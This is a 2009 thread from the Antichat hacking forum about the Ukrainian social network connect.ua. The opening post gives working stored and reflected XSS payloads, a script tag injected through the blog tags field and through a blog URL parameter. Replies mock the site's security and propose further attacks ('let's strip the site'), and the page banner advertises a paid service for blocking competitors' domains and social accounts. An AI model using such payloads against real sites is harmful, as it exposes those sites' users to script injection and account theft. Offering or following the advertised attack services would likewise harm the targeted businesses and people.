connect.ua

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ФИНАНСОВЫЕ ЗАДАЧИ/СОЦИАЛЬНЫЕ СЕТИ > Социальные сети
connect.ua

Опции темы

Поиск в этой теме

Опции просмотра

connect.ua

14.09.2009, 00:02

_krad_

Новичок

Регистрация: 30.11.2008

Сообщений: 2

С нами: 9181860

Репутация: 5

connect.ua

Активная XSS:
Когда создаем новую запись в блоге, в поле "Мітки" вводим

"><script>alert(123)</script>

Аналогичная пассивная XSS:

http://connect.ua/blogs?index&tag="><script>alert(123)</script>

𝕏 Twitter Reddit Telegram Копировать ссылку

14.09.2009, 00:06

~~ligendo~~

Banned

Регистрация: 05.09.2009

Сообщений: 9

С нами: 8779447

Репутация: 15

да там их туева хуча

14.09.2009, 00:27

ZnikiR

Участник форума

Регистрация: 14.01.2009

Сообщений: 194

С нами: 9116574

Репутация: 44

ну и что вы сделатете с этими дырками???
вот такую бы на майл.ру или б на вк,тогда да!

ой извеняюсь,это что ли соц сеть в украине?

Я в шоке дырявый код ппц простоа говрят у них там очень много пользователей около 800 000 !!!
Давайте разденем сайт!!!

Последний раз редактировалось ZnikiR; 14.09.2009 в 00:49..

14.09.2009, 01:24

~~Enemy_best~~

Banned

Регистрация: 24.07.2009

Сообщений: 8

С нами: 8841875

Репутация: -29

Отправить сообщение для Enemy_best с помощью AIM

Отправить сообщение для Enemy_best с помощью Yahoo

И чё этот скрипт делает?

14.09.2009, 01:39

Kusto

Moderator - Level 7

Регистрация: 04.02.2007

Сообщений: 554

С нами: 10139306

Репутация: 1089

не надо было отдельную тему создавать для активок и пассивок есть соответствующие темы, просто в очередной раз с"экономили на кодерах вот и все, а насчет активок зайди в раздел активные XSS там найдеш их кучу на известных сайтах, могу выложить и пассивок на том-же майле- не одну, так мне что отдельную тему создавать?

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход